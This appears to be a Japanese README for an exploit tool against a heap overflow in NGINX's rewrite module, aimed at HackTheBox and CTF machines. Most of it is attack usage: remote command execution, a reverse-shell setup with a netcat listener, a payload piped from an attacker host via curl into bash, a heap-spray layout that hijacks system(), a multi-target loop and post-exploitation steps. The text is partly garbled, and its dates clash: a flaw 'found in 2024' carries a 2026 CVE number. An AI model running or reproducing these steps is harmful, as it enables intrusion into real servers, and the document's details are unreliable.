
CVE-2026-42945のエクスプロイト
2024年に発見されたNGINXのヒープバッファオーバーフロー脆弱性のためのスタンドアロンエクスプロイト。このバージョンは、DockerコンテナをセットアップできないHackTheBoxやCTF環境向けに最適化されています。
CVE-2026-42945 は、2008年(バージョン0.6.27)から存在するNGINXの ngx_http_rewrite_module における深刻なヒープバッファオーバーフローです。このバグは以下の場合に発生します:
rewrite ディレクティブの置換文字列に ? が含まれている(is_args = 1 に設定)set ディレクティブがURIの一部をキャプチャするis_args = 0 と見なす)is_args = 1 と見なす)# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# No additional Python packages needed - uses only stdlib!
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
これにより:
/api/ エンドポイントの有無を確認python3 nginx_rift_helper.py --target 10.10.11.x --all
これにより:
コマンドの実行:
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
リバースシェルの取得:
# Start listener first (in another terminal)
nc -lvnp 4444
# Run exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
# Execute 'id' command
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# Execute 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# Read /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
ngx_pool_cleanup_s 構造体を含む細工されたボディを持つ複数のPOSTリクエストを送信/api/ にGETリクエストを送信system() が呼び出されるこのエクスプロイトは ASLRが無効 であるか、アドレスが既知であることを前提としています。HTBでは:
ASLRが有効な場合、以下の対応が必要になる可能性があります:
/api/ エンドポイントを確認できませんでした"脆弱な設定には以下が必要です:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
/api/, /admin/, /internal/考えられる理由:
ASLRが有効 - アドレスがランダム化されている
異なるlibcバージョン - system() のオフセットが異なる
--verbose で全オフセットを試す脆弱でないバージョン - 修正済みのバージョンまたは異なる設定
WAF/IDSによるブロック - セキュリティ制御が作用
誤ったエンドポイント - rewrite+setの組み合わせを使用していない
デバッグのために常に --verbose を使用:
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
これにより:
# Find your tun0 IP
ip addr show tun0 | grep inet
# Use this IP for --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
初期アクセスを取得したら:
# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background and set terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Check current user
id
whoami
# Check for flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# Check sudo permissions
sudo -l
# Check SUID binaries
find / -perm -4000 2>/dev/null
ペイロードをカスタマイズする必要がある場合:
# nginx_rift_htb.py の make_body() 関数を編集
# 異なる設定用に BODY_LEN を調整
# オーバーフロー文字列を変更(349個の'A' + 969個の'+')
# Create a target list
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# Test each one
while read target; do
echo "Testing $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Sets is_args=1
set $original_endpoint $1; # Allocates based on is_args=0
}
1. POSTスプレー → 偽のクリーンアップ構造体でヒープを埋める
2. GET /api/AAAA...++++...X → オーバーフローをトリガー
3. オーバーフローが隣接するプールのクリーンアップポインタを破壊
4. プールが破棄される → system(cmd) が呼び出される
[Heap Spray Body - 4000 bytes]
+0: system_addr (8 bytes)
+8: data_addr (8 bytes)
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'
このツールは教育目的および許可されたセキュリティテストのためだけに提供されます。所有していない、または明示的なテスト許可がないシステムに対してこれを使用することは違法です。作者は誤用に対する一切の責任を負いません。
教育/研究目的のみ。責任を持って使用してください。